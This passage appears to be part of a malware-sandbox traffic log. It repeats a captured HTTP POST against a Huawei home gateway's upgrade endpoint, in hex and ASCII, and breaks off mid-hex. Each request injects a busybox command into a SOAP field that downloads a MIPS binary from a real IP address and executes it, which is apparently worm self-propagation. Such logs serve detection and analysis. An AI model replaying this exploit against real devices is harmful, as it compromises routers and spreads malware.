49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 